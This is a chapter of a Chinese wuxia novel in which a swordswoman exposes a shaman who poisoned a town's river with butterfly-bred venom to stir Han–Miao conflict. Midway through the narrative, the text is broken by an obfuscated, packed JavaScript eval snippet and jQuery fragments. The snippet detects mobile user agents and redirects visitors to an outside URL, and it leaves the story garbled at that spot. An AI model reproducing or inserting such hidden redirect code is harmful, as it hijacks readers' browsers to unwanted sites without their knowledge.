月将西沉。
这一晚上，阿雪先是去粮仓询问被囚禁的镇上大夫，后又偷偷潜入莲生药堂，找到疫病患者一一诊脉，确认宋大夫所言属实，疫病患者乃中毒之症，可即使清楚这一点，却无从得知是何毒药？有何解法？几番奔波，饶是阿雪内力深厚，也已疲惫，再加上调查进展甚微，无论她如何乐观坚强，也感到力不从心。是以此刻她颓然地坐在河边石阶之上，望着水中一轮破碎的月影发呆。
“阿雪……阿雪……”
也不知被叫了多久，阿雪才回过神来。她转头看见阿凉担忧的眼神，勉强挤出笑容。
“抱歉！我还不习惯别人这样叫我。”
“那我叫你归海一刀就习惯了吗？这也不是你的真名啊！”
话说出口，阿凉才觉得后悔，而阿雪也听出其中的不对。
“你偷听我和石老板谈话？”
“不是！我……我只是担心你，见你走出去，才悄悄跟着……”
阿凉自知无法辩解，他小心翼翼地看着阿雪，阿雪虽然面上生气，却无发作，只是将脸别向一侧。等了一会儿，气氛仍不见缓和，阿凉索性把心一横，再度开口道：
“你不要去找他！”
“找谁？”
“归海一刀！”阿凉不再回避，语气也颇为坚定，“我都听到了，那样可怕的经历、可怕的人，你还去找他做什么？如果你和那样可怕的人在一起，你也不知道会经历什么。”
“可是他是我过去唯一的线索，我知道他对我很重要，如果不去找他，那我能去哪里？”
“你可以留下来，我会照顾你的！”
阿凉不假思索地脱口而出，但这一次并不后悔。而阿雪也听出他的意思，惊讶地看着阿凉，却对上他率直而笃定的眼神。
“抱歉……”
“阿雪……”
“真的对不起！”阿雪腾地站起来，后退两步，巧妙地拉开距离，“我非常感谢你救了我，如果我的行为让你误会，我只能向你道歉。”
“我没有误会……”
“你根本不懂！我不能留下来。”阿雪的语气颇为决绝，她想起和石老板的谈话，“就像你所说的，那样可怕的经历、可怕的人，而与他相关的我过去又是怎样？我这身武功、医术，绝不是普通汉人女子应有的。我继续留在这里，一定会带来更多麻烦。而且……我猜想我对于归海一刀也很重要，他一定在担心我、寻找我，我怎么能丢下他不管？”
阿凉终于无话可说，不论他想出多少劝她留下的理由，对眼前的女子有多么爱慕，都无法回避一个事实，他根本不了解她。
“天亮之前，你就离开这里……”
“我不走！”阿凉也是一口回绝，“都说汉人最讲信义，可我们苗人也是！一旦说出口的承诺就不会违背，我说了会帮你就一定帮到底。而且，现在石溪镇的瘟疫还没有解决，我更不可能逃跑。”
这一番话在情在理，阿雪也不好再说什么。她只能坐回石阶上，转头不再看阿凉。阿凉见此，也不再坚持，只是默默解下腰上水袋，递给阿雪。
“你已经跑了一晚上，喝点水，休息一下吧！”
阿雪没有接过鼓鼓的水袋，反而困惑地看着，她清楚记得从镇长家中出来的时候，阿凉腰间的水袋还是瘪的。
“这水……是从哪来的？”
“我从河里取的。”话说出口，阿凉才意识到哪里不对，连忙改口，“对不起，我忘了你们汉人是不喝生水，我现在去换。”
“不是，我的意思是……”阿雪连忙站起身，指着眼前的河渠，“你的意思是你从河里直接取水，那么石溪镇上居民饮用之水都是来自这条河流？”
“是啊，这里叫石溪镇嘛！听说当年中原汉商建造石溪镇时，就花重金修建水道从雪川引水，水道遍及镇上各处，几乎每家每户都饮用这条河流。”
“这就是了，难怪毒性可以在这么短时间内遍及全镇，而且因为苗人惯饮生水，所以疫病患者才多为苗人。这条河流的水源在哪里？快带我去看！”
阿凉带着阿雪走出石溪镇，二人沿着水道一路溯源而上，最终找到一块被草丛掩映的界碑，而界碑旁则是一棵参天大树。
“这是……”阿雪仔细观察眼前的这棵大树，树干粗壮，枝叶舒展，开满红色的花朵，大树伸展枝干笼罩河面，洒落片片花瓣，“北山杜鹃……”
“这棵树叫北山杜鹃吗？我第一次知道。”
“阿凉，这棵树是……”
“我听老人说，这棵树是当年出资建造石溪镇的汉商带来并且亲手种下，后来他的子孙和石溪镇人为了纪念汉商恩德，一直精心培育这棵树，算是作为中原和滇南商贸往来的象征。这种树很稀有吗？”
“是，北山杜鹃原产高丽岭北一带，二百年前由高丽王进贡大明传来，原本只在宫廷栽培，后来太祖皇帝将北山杜鹃幼苗赏赐近臣，这才逐渐推广，但是北山杜鹃本身很难栽培，所以并不常见，它的花粉和汁液都可以入药。”
“那……那就是说石溪镇人的瘟疫、或者说中毒，都是因为这棵树？”
“不可能！《普济方》中已有记载，北山杜鹃药性寒凉，可以用来治疗热症，但是毒性较小，只摄入一点不可能中毒，就算真是北山杜鹃引起的毒症，镇上的大夫也应该诊断得出。而且这棵树起码百年前就种在这里，不可能现在才出事！”
阿雪走近几步，仔细观察，发现树枝上星星点点扑棱的磷光。她纵身一跃，捉住一点磷光，摊开手掌上一看，是一只黑色黄边的蝴蝶。
“这是……梦枕蝶？”阿凉看着阿雪手上的蝴蝶，惊讶道。
“你说这种蝴蝶叫梦枕蝶？”
“对，也叫索魂蝶。这种蝴蝶数量稀少，只生活在深山峡谷，我也是在山里采药见过几次。”
阿凉再看树上，红色花朵掩映之下，蛰伏无数蝴蝶。
“怎么这里有这么多？”
“这种蝴蝶有毒吗？”
“没有。”
“那为什么叫索魂蝶？”
“一是因为有关于这种蝴蝶的传说，二是因为它的用处。”
“什么用处？”
“是这样，苗疆盛行练蛊。所谓练蛊，就是把无毒或者轻微毒性的虫蛇用毒物喂养，这样长大的虫蛇就在体内炼成新的毒药，这就是蛊毒。像是这种梦枕蝶本身无毒，但是它的习性是采食所栖息的植物汁粉，然后在结蛹的时候分泌汁液、磷粉，如果梦枕蝶采食的植物有毒，那么分泌的汁液、磷粉也会有毒。我听说南教中人就是用梦枕蝶培育情蛊。”
“这就对了，我终于明白是怎么回事！”
随着东方天迹透出第一道曙光，阿雪感觉一直苦苦追寻的谜团已显出真相，不禁展露笑容，却不防一支冷箭已悄无声息地接近。
日近正午，祭台上又燃起火焰，南教巫师与昨日一样身穿奇装异服作法，台下依旧聚集民众跪拜，只是似乎已不像昨日那般虔诚，因恐惧而被忽略的疑虑，在经他人提点之后，再一次浮现，并逐渐蔓延。人们不禁心中疑问，这位南教巫师是否真的如此神通广大？真的能够平息疫灾？
一通装神弄鬼之后，巫师挥手示意，手下押着捆绑的祭品上台，可这一次不是少女，而是一位白须老者。
“宋大夫……”不少人认出白须老者，引得一片唏嘘。他就是莲生药堂的坐堂大夫，宋怀仁大夫。
原来，昨夜阿雪潜入莲生药堂为患者诊脉，不小心露了行踪，虽然及时逃脱，却引起南教巫师的怀疑，再加上南教巫师的手下在粮仓附近巷道发现阿凉的踪迹，南教巫师即猜出一二，于是将粮仓内被囚禁的汉人大夫捉来审问。宋大夫为免其他人受罪，出面一力担下。
巫师挥手平息众人的吵闹，指挥手下将宋大夫绑上木架，手举火把装模作样地念道：
“汉人残暴，施展妖法，冲撞山神，引来的天灾，却要我们苗人弟兄承受。我此来石溪镇，为拯救苗人兄弟于水火之中，今日承接山神旨意，先拿着汉人庸医献祭，望山神息怒，降福于此……”
一阵豪迈的笑声打断巫师装模作样的祝词，循声看去，宋大夫正放声大笑。
“你笑什么？”
“巫师大人这话说得有意思？”面对熊熊燃烧的火把，宋大夫不卑不亢地说道，“巫师大人说要以汉人献祭，但你恐怕有所不知，我的母亲就是苗人，我身上也有着一半苗人血脉，我也算是你的兄弟，为何山神不能降福于我？巫师大人说是汉人引来天灾，却要苗人承受。可石溪镇本就是官道枢纽，汉苗杂居，自瘟疫爆发以来，我莲生药堂收治病人不分汉苗，可眼下巫师大人却以汉苗偏见，挑拨离间，还要以活人为祭，这叫什么拯救？”
“住口！”巫师厉声打断宋大夫，转身面向祭台下方，“无论这个庸医如何狡辩，石溪镇发生瘟疫是事实，这些汉人庸医救治不力也是事实。眼下大家只有相信我，只有用献祭才能平息瘟疫！烧死一个人，却能换得全镇人性命，这才是唯一的办法！”
“可……昨天那名女子说她有办法……”
“不错，那名汉人女子的确夸口寻找瘟疫救治方法，可眼下她人在哪里？她昨日捣乱祭台，出言不逊，眼下又逃得无影无踪，可见汉人根本不可信！”
说罢，巫师走回木架旁，耀武扬威般晃动手中火把，在宋大夫耳边压低声音说道：
“我知道那个姓归海的女子昨晚到过粮仓。这是你最后的机会，说出她藏在哪里，我就饶你一命。”
“哼，巫师大人刚才不是说要以我的性命换全镇平安吗？怎么现在又要饶我一命？”宋大夫刻意扯着嗓子大声说出来，语气极尽嘲讽之能事。
南教巫师被彻底激怒，他挥舞火把，眼看就要点燃木架。可突然间，一股劲风扑来，熄灭火焰。紧接着，漫天花雨洒落，南教巫师昨日见过此招，知道厉害，可根本无从躲避，本以为此命休矣，却不想这些花瓣毫无威力，只是软绵绵地扑在巫师脸上、手上。
转瞬间，一抹青色的身影飞上高台，她手提长剑，径直向巫师刺去，却被躲过，只勉强划开对方胸前衣襟。随后剑气一荡，逼退四周敌人，斩断木架绳索，将宋大夫放下。
“谁说我逃走了？”阿雪横剑睥睨，意气甚豪，“我说了在今日午时之前回来，就一定回来。反倒是巫师大人，眼下离午时还有一刻，这就着急祭祀，你对我不讲信用可以，难道对山神也如此不敬？”
巫师对这一番嘲讽毫无反驳之力，只能狠狠咬牙道：
“归海姑娘这时候回来，可是有了治病之法？”
“当然，我不但有了治病之法，我还查到此次瘟疫源头。”言及于此，阿雪特意停了停，转身面向祭台之下，一字一句清楚说出，“这根本不是瘟疫天灾，这些日子以来石溪镇上发生的一切是有人刻意为之，是有人下毒！”
此言一出，台下一片哗然。
“宋大夫也可以作证。”
“不错！”宋大夫上前一步说道，“自瘟疫发生以来，老夫诊治许多病患，几乎所有的患者发病皆是抽搐昏迷，后又咳喘发烧，脉象呈现寒热交替，如此复杂的脉象，不可能是疫病，只能是有人蓄意下毒。”
“笑话！”南教巫师急道，“你们说是下毒就是下毒？可有依据？你说的这些脉象可有人证明？”
“不错，老夫一时之间拿不出有力依据，老夫今日站在这里，凭的是莲生药堂的百年招牌和我宋怀仁的一生清誉，信与不信全在诸位乡亲。”
此话一出，祭台之下鸦雀无声。原本刚才眼见宋大夫被绑上祭台之时，台下百姓已有诸多不满，除去已被阿雪挑明的心中疑虑，一是因为莲生药堂在石溪镇创立已久，百年来救死扶伤，德高望重；二是因为宋怀仁大夫医术高超，坐堂数十年来，救治病人无数，其本人更是医者仁心，在疫病之初，收治病人，分文不取，镇上百姓无不感激。
“胡说八道！”见此情景，巫师仍不死心地反驳道：“明明是你这庸医无能，才放任镇上瘟疫肆虐，眼下却要叫大家相信你？你说镇上百姓中毒，中的什么毒？什么毒药可以在短短几天时间内波及全镇？”
“这一点不牢巫师操心，我已查明。”说着，阿雪抖开左手一直提着的包袱，包袱之内是一个小巧的竹笼，笼中关着好几只黑色黄边的蝴蝶，“巫师大人应该认得这个吧？”
巫师顿时面如死灰。而阿雪则高举竹笼，对着祭台之下。
“这种蝴蝶乃是滇南特有，虽然数量稀少，但是若有世代居住滇南的苗民，应该认得。”
“梦枕蝶……”
“不错，这正是梦枕蝶。”阿雪继续高声道，“大家世代居住滇南，应该知道苗疆练蛊之法，就是将梦枕蝶以毒物喂养，炼制新的蛊毒。”
“那喂养的毒物是……”
“大家可记得镇外界碑处的大树？”
“那棵北山杜鹃？”宋大夫惊讶地问道。
“正是。北山杜鹃毒性微弱，原本不会引起灾害，可是经过梦枕蝶淬炼，就成为新的毒药。北山杜鹃位于镇外水源处，我昨夜前去查看，树上栖息无数梦枕蝶，梦枕蝶炼制的蛊毒不断污染水源，这才引起如今的瘟疫。”
说着，阿雪特意看向南教巫师，眼神仿佛要一眼洞穿他的内心。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292473|198515||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不过有一点奇怪，梦枕蝶本是生活在深山峡谷中，数量稀少，除非人为培育，否则怎会大量出现在石溪镇？”
“荒唐！这些不过是你的一面之词。”南教巫师此刻已是汗流浃背，仍嘴硬道，“苗疆练蛊之法遍地，可却从未听说过用什么北山杜鹃练蛊。况且石溪是从雪川引水，雪川是圣洁的河流，你竟敢污蔑圣河！”
“既然是如此圣洁河水，为何我听说巫师大人自打来到石溪镇，一直饮用井水，从不饮用河水？还要，素问苗人惯饮生水，我却听闻巫师大人学汉人一般将水煮沸才肯饮用，你口口声声汉人引来天灾，为何又要模仿汉人习俗？”
“你到底想说什么？”
“我已经说得很清楚！有人用梦枕蝶炼蛊，在镇外水源下毒，这种毒溶于水中，直接饮用毒害人体，可若煮沸，则可消解大部分毒性。显然是有心之人，利用苗人惯饮生水的习俗，下毒害人，再将这一切栽赃给汉人！”
阿雪所言，虽未点明何人所为，但任谁也听得出其话锋所指。南教巫师气得脸上青一阵白一阵，却发作不得，因为此时发怒，更显得做贼心虚。
“哼，无凭无据，你说什么都行。”南教巫师冷笑道，“就算如你所说河水有毒，最关键的还是要找到解毒的法子。”
“解毒之法我自然有。”阿雪自信一笑，对着台下高声道，“请问有谁能取一桶河水来？”
“水来了！”
人群之外传来一个声音，众人循声望去，正是阿凉提着一小桶水赶来。
河水被送上祭台，摆放在阿雪与巫师之中。阿雪从竹笼之中掏出一个虫蛹，当着众人面前捏碎，将黄色的汁液一点点滴入水中。
“你这是什么意思？”
阿雪从腰间布袋中取出两个茶碗分别汲水，一个递到南教巫师面前。
“巫师大人敢不敢与我一同饮下此水？”
南教巫师顿时吓得呆立。
“怎么？巫师大人既然不信河水有毒，饮了此水又有何妨？我有解毒之法，自然不怕中毒，今日以身试毒，是为了向百姓证明此法效用。巫师如此神通广大，又得山神庇佑，不妨试上一试，看看是你的巫术管用，还是我的医道救人。”
说罢，不等南教巫师出声，阿雪举起茶碗，一饮而尽，随即将碗摔掷在地，碎片迸裂之间，尽显豪气。
此刻，南教巫师已是骑虎难下，他看着台下骚动的人群，心知他在石溪镇辛苦经营的威望几近崩塌，他又想起此次任务，倘若失败，南教绝不会放过他。于是，南教巫师双手颤抖地伸向茶碗，可还未触及，却一把打翻。
“巫师大人不敢吗？”
“我才不会陪你发疯！”巫师已然气急败坏，不顾形象地大吼大叫，“要试效用你自己试去，就让乡亲们看看你的解毒之法。”
“巫师大人以为不喝这水就没事了吗？你难道没有想过此毒还可以通过其他方法传播？”
“难道……”巫师这时想起方才扑向他的花瓣。
“梦枕蝶不仅汁液有毒，磷粉一样有毒。刚才每一片飞向你的花瓣都沾满毒粉，已被你吸入体内。巫师大人，你应该清楚此毒发作时间。”
此言一出，巫师大惊失色，下意识地摸了摸胸前，这才发现衣襟已被划破，原本仔细藏匿的药瓶不翼而飞。
“巫师大人是在找这个吗？”阿雪举起一枚小瓷瓶，“如果我猜得不错，这就是解药。”
“你……”巫师已气得脸色铁青。
“苗疆蛊毒如此玄妙，我怎么可能在一天之内制出解药？世上唯一拥有解药之人，便是下毒之人。”说罢，阿雪高举瓷瓶，转身面对台下，“乡亲们都听见了，此次石溪镇瘟疫，并非天灾，更不是汉人引来灾祸，而是南教刻意为之。”
此言一出，台下哗然一片，原本因为疫灾而积累的恐惧瞬间转化为愤怒，百姓叫嚣着要涌上祭台。
“你找死！”终于，巫师撕下伪装，露出凶恶的面目。
紧接着，十数名大汉跳上祭台，将阿雪团团围住。与此同时，一列军队涌入广场，将百姓团团包围。顿时人群大乱，向外奔逃，却被士兵举着长枪推了回来。
“你的阴谋已被我拆穿，无谓再做恶事。”阿雪丝毫不畏，横剑对敌，“还不如束手就擒！”
“哈哈哈，束手就擒的是你吧？”巫师一阵狂笑，面上尽显狰狞，“从一开始，我接到的任务就是利用石溪镇瘟疫挑拨汉苗冲突。原本你不来，只死几个人就够，现在怕是要斩草除根。反正石溪镇有九成汉人血脉，日后只要说是天神降怒汉人，一样能引起恐慌。”
“你们为什么要怎么做？”
“为什么？这就要问你们汉人皇帝！滇南原本就是苗人故乡，汉人来此砍伐山林，抢占土地，本就可恶！如今汉人皇帝又要推行什么改土归流，既然皇帝不仁，我们就拿他的子民祭天！”
“不可救药！”
巫师见阿雪依旧不慌不忙，嘴角挤出一丝狞笑。
“我知道你武功高强，我的人不是你的对手。但是你的武功再高，也不可能敌过狇王府的军队。”
说着，巫师手指军旗，只见一方猎猎舞动旌旗之上，赫然绣有一个“狇”字。
“你怎么知道这些士兵是来帮你的？”
“笑话！南教是滇南第一大帮，历代黔国公对南教推崇备至。你以为我昨日为什么放你走？我就由得你在石溪镇四处查探？”
“原来你是派人去搬救兵。”
“只怪你运气不好，碰巧狇王府的狇清世子带兵途径这里，我凭南教巫师的身份开口，他自然帮忙。”
说罢，只见层层包围的军队分列两侧，让出一条通路，一人在士兵簇拥下策马徐徐前来。
这是一位二十出头的年轻人，头梳汉人发髻，一身素蓝汉服之外再披雪貂裘服，虽外貌文雅，其策马之姿却也不失英气。
“世子爷，你可来了！”巫师立即奔下祭台，一脸谄媚笑迎狇清世子，同时不忘手指阿雪，“那便是捣乱的罪魁祸首，赶紧将她拿下！”
狇清世子不为所动，只是冷眼看着巫师。
“世子，我此行可是受了教主之命，你不给我面子，也得给教主面子吧？”巫师刻意压低声音，却难掩其狐假虎威之势。
而这一番话似乎点中狇清世子痛穴，只见狇清世子眼神几番闪烁，最终温和下来，对着巫师颔首一笑。
一瞬间，狇清世子腰上佩剑已然出鞘，寒光一闪，巫师跌倒在地，颈上血液喷薄而出。
“大明律令，凡妖言惑众、煽动百姓者，斩——”
长剑破空，一声怒吼间尽显英勇赤诚。